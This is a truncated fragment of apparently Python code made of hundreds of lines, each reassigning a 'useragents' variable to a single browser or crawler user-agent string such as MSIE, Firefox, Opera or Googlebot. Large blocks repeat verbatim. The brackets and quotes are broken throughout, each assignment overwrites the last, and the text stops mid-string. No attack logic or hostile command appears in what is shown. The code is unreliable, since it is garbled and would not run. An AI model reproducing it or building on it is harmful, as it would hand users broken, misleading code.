[('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; 